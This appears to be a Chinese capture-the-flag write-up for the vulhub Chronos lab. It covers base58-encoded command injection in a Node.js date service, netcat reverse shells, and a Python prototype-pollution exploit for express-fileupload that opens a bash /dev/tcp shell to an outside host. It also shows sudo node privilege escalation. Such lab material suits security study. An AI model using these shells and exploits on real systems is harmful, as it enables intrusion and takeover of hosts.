当前位置: 首页 > news >正文

【打靶】vulhub打靶复现系列3---Chronos

【打靶】vulhub打靶复现系列3---Chronos

一、主机探测

结合之前的方法(arp探测、ping检测),因为我们的靶机和攻击机都在第二层,所以打靶时候我们更依赖arp协议

tips:我在运行期间发现,netdiscover窗口没关闭的前提下是可以一直检测的,也就是说在探活期间有新主机加入可以被立即识别到。​

二、端口扫描

nmap -p- -sV -T4 192.168.56.104

ssh可以爆破(hydra)

http直接去访问(先看下80端口下的页面)

三、撕口子--功能点测试

发现页面没有什么东西,两种思路:

  • 1、爬站
  • 2、查看源码查询调用隐藏接口和调用脚本等

发现其源码中有调用一个脚本

发现进行了编码

通过cyberchef美化一下,地址​​CyberChef (gchq.github.io)​​

发现有内容进行过加密,虽说cyberchef可以解,但比这个更有意义的是其调用的脚本(未进行编码加密等)

四、尝试利用——查看源码

去改host文件,将192.168.56.104定向到chronos.local

注:chronos恰好是本靶场的主机名,host文件win的在C盘C:\Windows\System32\drivers\etc\hosts,kali在/etc/hosts

ping一下

配置成功

再次访问网页

发现多出下面这行uts时间

抓包观察发现是下面这个数据包的响应包

当我修改了format后的内容后无法正常回显,因此我需要知道后面的内容是什么编码(经验判断是base64,但不重要)

直接去cyberchef里的magic模块去撞就行

可以猜测出是base58编码

而此时观察请求包会发现很像是linux的data命令

'+Today is %A, %B %d, %Y %H:%M:%S.'

六、验证猜想——配合终端进行验证

尝试在kali上验证猜想

确认了猜想和其运行是一致的

这里是调用了系统指令进行回显的.

因此!!!思路就有了:是否可以去尝试其他的指令来对系统进行攻击呢?

那我执行指令的前提就是原有的指令正常执行的情况下附带或追加个指令进去

方法有

;
|
||
&&
这里需要说明双管道符的运行原则是前面的指令错误时候运行后面的指令;双&&符号恰好相反(前面为真才能执行下一个指令)

因此可以尝试在前面输入准确的情况下执行后面的指令,即用&&尝试,需要注意的是需要进行base58编码才行

成功验证了猜想

七、进一步利用--尝试nc反弹

先去查找有无nc

存在nc,下一步反弹shell

返回包看着貌似不成功但攻击机却接受到了反弹过来的监听

八、nc利用——判断有无-e参数

直接指令判断可以执行就说明有-e参数

在nc命令中,-e参数用于指定要在连接建立后执行的命令。它允许用户在建立网络连接后,将输入和输出重定向到指定的命令,从而实现远程执行命令的功能。

使用-e参数的语法如下:

nc -e  

其中,​​<command>​​是要执行的命令,​​<host>​​是目标主机的IP地址或域名,​​<port>​​是目标主机的端口号。

使用-e参数时,nc命令会在连接建立后立即执行指定的命令,并将连接的输入和输出重定向到该命令。这使得用户可以在远程主机上执行命令,并与其交互,就像在本地终端上一样。

输入指令

nc 192.168.56.103 4444 -e /bin/bash

对其进行编码并执行(注意,这里在kali机上需要重新启动监听)

发现没有回连,采用之前的nc串联来代替-e参数反弹shell

九、精化&骚操作——nc串联获取shell

nc 192.168.56.103 4444 | /bin/bash | nc 192.168.56.103 5555

这里注意:尽量前后都加个空格吧

十、主机信息收集

发现user.txt这个文件需要提权

十一、(常规)提权

# linux提权方法
## 方法一、利用内核漏洞:先name -a查看内核版本,再去查询该版本漏洞进行攻击
## 方法二、suid权限配置错误导致提权,suid命令查看超管用户
## 方法三、利用sudo命令,有些用户可以使用sudo命令进而达到提权的目的但很不幸,这些提权手段都不适用

十二、代码审计

跳到目录下

发现是js写的服务端,这种情况少见(据说少见)

nodejs是基于JavaScript的已有的框架和库,通过了解socket、express等库经常用来开发web

开始审计package.json

发现各个封装好的包/库

审计app.js

这是重定向的url等

base58解码,拼接到cmd的代码

判断agent的字段内容

在agent是chronos时候是正常回显,其他情况返回禁止,有了这段内容的解读之后去尝试一波

成功验证代审的分析结果

其中当agent==chronos时候进一步的判断(下一个if语句)表示

也对应上了之前nc返连的时候的返回包内容,注意这里只是返回这么个内容但却没有阻断这些指令

翻阅过后没有什么显著的利用点,继续深挖

十三、代码审计深挖——找利用点撕口子

发现了未扫出来的8080端口,但这个端口只对8080开放,因此我nmap没扫出来

看来只能指望调用的模块内(express和express-fileupload)存在漏洞了

发现存在漏洞,赶紧索一眼,但这里没给到源码和poc之类的信息,通过科学上网访问到

​​Access denied | www.bleepingcomputer.com used Cloudflare to restrict access​​

通过下面的参考链接来到:​​p6.is(现在让网页篡改了)​​

意思是想要利用这个漏洞就必须开启processNested的方法,好在我们的环境中恰好是开着的

通过上面的文章找到可利用的简化exp

import requestscmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})# execute command
requests.get('http://p6.is:7777')

只需要将这段代码中的部分进行替换,替换规则如下如下

p6.is/8888 替换为 kali攻击机的ip/监听端口 
p6.is:7777 替换为 目标ip:目标web应用程序运行端口

 将这段代码复制到kali中,替换内容后编写为py文件,修改后的内容如下;

import requestscmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.103/8888 0>&1"'# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})# execute command
requests.get('http://127.0.0.1:8080')

写好文件之后kali攻击机开启web服务

python3 -m http.server 80 

通过反弹shell将目录移动到/tmp下(因为一般来讲tmp好写入文件)

成功上传exp.py

下一步运行就行

十四、getshell——获取第一个flag

但是获取的仅仅是上面的imara的shell

去看下那个txt能不能看

成功!获取到一个flag了

十五、乘胜追击——获取root用户下的flag

根据靶机描述,root下是有一个flag的,但是我们现在已有的权限不足以去访问

十六、提权——利用sudo下可调用的node

还是之前说的三种方法先试一下,发现可以sudo

意思是不需要输入密码的前提下执行npm和node指令

sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0,1,2]})'

这段代码是通过node指令提权的代码(网上找的)

意思是通过调用node--》生成子进程---》调用root权限的shell

提权成功

 打靶总结

相关文章:

【打靶】vulhub打靶复现系列3---Chronos

【打靶】vulhub打靶复现系列3---Chronos 一、主机探测 结合之前的方法&#xff08;arp探测、ping检测&#xff09;&#xff0c;因为我们的靶机和攻击机都在第二层&#xff0c;所以打靶时候我们更依赖arp协议 tips&#xff1a;我在运行期间发现&#xff0c;netdiscover窗口没关…...

基于Java的新闻发布管理系统设计与实现(源码+lw+部署文档+讲解等)

文章目录 前言具体实现截图论文参考详细视频演示为什么选择我自己的网站自己的小程序&#xff08;小蔡coding&#xff09; 代码参考数据库参考源码获取 前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域优质创作者&am…...

​CRM系统如何选型?

不少企业都想要使用CRM客户管理系统&#xff0c;但往往在CRM选型阶段就被折腾的五迷三道。CRM系统选型难在哪里&#xff1f;下面我们从企业用户和CRM厂商两方面进行分析&#xff0c;来说说关于CRM系统选型的那些事。 企业自身原因&#xff1a; 1、认知偏差 看到一个观点&…...

山东大学开发可解释深度学习算法 RetroExplainer,4 步识别有机物的逆合成路线

逆合成旨在找到一系列合适的反应物&#xff0c;以高效合成目标产物。这是解决有机合成路线的重要方法&#xff0c;也是有机合成路线设计的最简单、最基本的方法。 早期的逆合成研究多依赖编程&#xff0c;随后这一工作被 AI 接替。然而&#xff0c;现有的逆合成方法多关注单步逆…...

使用antv x6注册vue组件报错,TypeError: Object(...) is not a function (teleport.js:3:23)

typeError: Object(…) is not a function at …/…/…/node_modules/.pnpm/antvx6-vue-shape2.1.1_antvx62.15.2vue2.7.10/node_modules/antv/x6-vue-shape/es/teleport.js (teleport.js:3:23) 点击定位到报错的位置为 reactive应该是vue 2.7.*版本才有的 由于项目在index.ht…...

Python开发利器KeymouseGo,开源的就是香

1、介绍 在日常工作中&#xff0c;经常会遇到一些重复性的工作&#xff0c;不管是点击某个按钮、写文字&#xff0c;打印&#xff0c;还是复制粘贴拷贝资料之类的&#xff0c;需要进行大量的重复操作。按键精灵大家想必都听说过&#xff0c;传统的方式&#xff0c;可以下载个按…...

什么是 Node.js

目标 什么是 Node.js&#xff0c;有什么用&#xff0c;为何能独立执行 JS 代码&#xff0c;演示安装和执行 JS 文件内代码 讲解 Node.js 是一个独立的 JavaScript 运行环境&#xff0c;能独立执行 JS 代码&#xff0c;因为这个特点&#xff0c;它可以用来编写服务器后端的应用…...

08-flex布局

flex布局 1.定位布局- 定位流分类1.1.静态定位1.2.相对定位1.3.绝对定位1.4.固定定位1.5.粘滞定位1.6.z-index - 1.1.静态定位&#xff08; Static positioning&#xff09;- 1.2.什么是相对定位?&#xff08; Relative positioning &#xff09;- 相对定位注意点- 相对定位应…...

HTML5和HTML的区别

HTML5的概念分为广义和狭义两种。 狭义的概念HTML&#xff15;是指HTML语言的第5个版本&#xff0c;而HTML是指&#xff15;之前的版本。 广义的概念HTML5是指由HTML&#xff15;、CSS3、JavaScript所组成的开发环境。而HTML是指HTML语言本身。 1、HTML&#xff15;与HTML狭…...

【Amazon】跨AWS账号级别迁移弹性IP地址操作流程

文章目录 一、实验背景二、适用场景三、实验目标四、实验说明五、实验步骤1. 登录AWS控制台[源账户]2. 启用弹性 IP 地址转移[源账户]3. 接受转移的弹性 IP 地址[目标账户]4. <可选>禁止转移弹性IP地址[源账户] 六、结果验证七、注意事项八、附录1. 多弹性IP地址多AWS账号…...

2023-python pdf转换为PPT代码

from pdf2image import convert_from_path from pptx import Presentation from pptx.util import Inches import os# 用户输入PDF文件路径 pdf_file_path input("请输入PDF文件的路径&#xff1a;")# 提取文件名&#xff08;不包括扩展名&#xff09;作为PPT文件名…...

学会场景提问,让AI“小助手”为我所用

文章目录 一、故事叙述提问举例 二、产品描述提问举例 三、报告撰写提问举例 四、邮件和信件撰写提问举例 五、新间稿和公告撰写提问举例 六、学术论文和专业文章撰写提问举例 我们知道AI技术不仅能够自动生成文章和内容&#xff0c;还可以根据我们的需求提供创意灵感和解决问题…...

前端,CSS,背景颜色跟随轮播图片改变而改变(附源码)

首先看效果&#xff01; 比如轮播图时红色&#xff0c;那么背景的底色也是红色&#xff0c;轮播图时黄色&#xff0c;背景的底色也是黄色&#xff0c;这就是根据轮播图的图片切换&#xff0c;而改变背景颜色随轮播图颜色一致 话不多说&#xff0c;直接上代码&#xff01;非常简…...

对文件夹内的所有图像进行随机调整对比度和应用高斯滤波

import os import random from PIL import Image, ImageEnhance, ImageFilter# 输入和输出文件夹路径 input_folder rE:\深度学习数据集 output_folder rE:\深度学习数据集\对比度、高斯滤波# 确保输出文件夹存在&#xff0c;如果不存在则创建 if not os.path.exists(output_…...

ios上架上传构建版本的windows工具

ios上架的必要步骤&#xff0c;是将打包好的二进制ipa文件&#xff0c;上传到app store的构建版本里&#xff0c;苹果并没有提供上传构建版本的工具&#xff0c;这里我介绍下windows下上传构建版本的方案。 下面说下上传的基本步骤&#xff1a; 第一步&#xff0c;上传前要先…...

arcgis js api 4.x加载geoserver发布的地方坐标系(自定义坐标系)的wms服务

问题描述&#xff1a;之前研究过arcgis js api 4.x加载arcgis server 发布的地方坐标系的wms服务&#xff0c;后来研究出来能正常加载了&#xff0c;想了解的可以看我之前的博客。但是一直困于加载geoserver发布的地方坐标系的wms服务&#xff0c;一直都是用的WMSLayer这个调用…...

人工智能的发展方向:探索智能未来的无限可能

原创 | 文 BFT机器人 人工智能&#xff0c;简称AI&#xff0c;是一门专注于研究计算机如何能像人类一样思考、学习和解决问题的科学。它的创造初衷是构建一个智能系统&#xff0c;能模仿、模拟甚至实现人工智能的各种功能和行为&#xff0c;随着科技的持续进步&#xff0c;人工…...

【23秋软工第7周作业】项目选题

一、如何提出靠谱的项目建议&#xff0c;参见邹欣老师的博客&#xff1a;http://www.cnblogs.com/xinz/archive/2010/12/01/1893323.html 二、选题来源指导&#xff1a; 有创意和独创性的小项目 跟智能数据处理相关 候选题目可以参见课程主页 三、具体汇报任务&#xff1a; …...

谷歌云的利润增长才刚刚开始

来源&#xff1a;猛兽财经 作者&#xff1a;猛兽财经 总结&#xff1a; &#xff08;1&#xff09;自从Google Cloud(谷歌云&#xff09;今年开始盈利以来&#xff0c;投资者都在怀疑这种盈利能力能否持续下去。 &#xff08;2&#xff09;虽然微软Azure目前在全球的人工智能竞…...

【Golang】简记操作:Centos安装、卸载、升级Golang运行环境

目录 安装 1、根据实际需求选择合适的golang版本 如下图&#xff0c;选择合适的版本&#xff0c;右键复制链接 2、在Centos选择合适的目录下载golang的源文件 3、解压golang的源文件&#xff0c;解压完成即可执行go命令 4、设置golang的全局环境变量&#xff08;/etc/pr…...

java调用dll出现unsatisfiedLinkError以及JNA和JNI的区别

UnsatisfiedLinkError 在对接硬件设备中&#xff0c;我们会遇到使用 java 调用 dll文件 的情况&#xff0c;此时大概率出现UnsatisfiedLinkError链接错误&#xff0c;原因可能有如下几种 类名错误包名错误方法名参数错误使用 JNI 协议调用&#xff0c;结果 dll 未实现 JNI 协…...

微信小程序 - 手机震动

一、界面 <button type"primary" bindtap"shortVibrate">短震动</button> <button type"primary" bindtap"longVibrate">长震动</button> 二、js逻辑代码 注&#xff1a;文档 https://developers.weixin.qq…...

ETLCloud可能遇到的问题有哪些?常见坑位解析

数据集成平台ETLCloud&#xff0c;主要用于支持数据的抽取&#xff08;Extract&#xff09;、转换&#xff08;Transform&#xff09;和加载&#xff08;Load&#xff09;过程。提供了一个简洁直观的界面&#xff0c;以便用户可以在不同的数据源之间轻松地进行数据迁移和转换。…...

零基础在实践中学习网络安全-皮卡丘靶场(第九期-Unsafe Fileupload模块)(yakit方式)

本期内容并不是很难&#xff0c;相信大家会学的很愉快&#xff0c;当然对于有后端基础的朋友来说&#xff0c;本期内容更加容易了解&#xff0c;当然没有基础的也别担心&#xff0c;本期内容会详细解释有关内容 本期用到的软件&#xff1a;yakit&#xff08;因为经过之前好多期…...

听写流程自动化实践,轻量级教育辅助

随着智能教育工具的发展&#xff0c;越来越多的传统学习方式正在被数字化、自动化所优化。听写作为语文、英语等学科中重要的基础训练形式&#xff0c;也迎来了更高效的解决方案。 这是一款轻量但功能强大的听写辅助工具。它是基于本地词库与可选在线语音引擎构建&#xff0c;…...

初探Service服务发现机制

1.Service简介 Service是将运行在一组Pod上的应用程序发布为网络服务的抽象方法。 主要功能&#xff1a;服务发现和负载均衡。 Service类型的包括ClusterIP类型、NodePort类型、LoadBalancer类型、ExternalName类型 2.Endpoints简介 Endpoints是一种Kubernetes资源&#xf…...

iview框架主题色的应用

1.下载 less要使用3.0.0以下的版本 npm install less2.7.3 npm install less-loader4.0.52./src/config/theme.js文件 module.exports {yellow: {theme-color: #FDCE04},blue: {theme-color: #547CE7} }在sass中使用theme配置的颜色主题&#xff0c;无需引入&#xff0c;直接可…...

tauri项目,如何在rust端读取电脑环境变量

如果想在前端通过调用来获取环境变量的值&#xff0c;可以通过标准的依赖&#xff1a; std::env::var(name).ok() 想在前端通过调用来获取&#xff0c;可以写一个command函数&#xff1a; #[tauri::command] pub fn get_env_var(name: String) -> Result<String, Stri…...

MySQL的pymysql操作

本章是MySQL的最后一章&#xff0c;MySQL到此完结&#xff0c;下一站Hadoop&#xff01;&#xff01;&#xff01; 这章很简单&#xff0c;完整代码在最后&#xff0c;详细讲解之前python课程里面也有&#xff0c;感兴趣的可以往前找一下 一、查询操作 我们需要打开pycharm …...

ubuntu系统文件误删(/lib/x86_64-linux-gnu/libc.so.6)修复方案 [成功解决]

报错信息&#xff1a;libc.so.6: cannot open shared object file: No such file or directory&#xff1a; #ls, ln, sudo...命令都不能用 error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory重启后报错信息&…...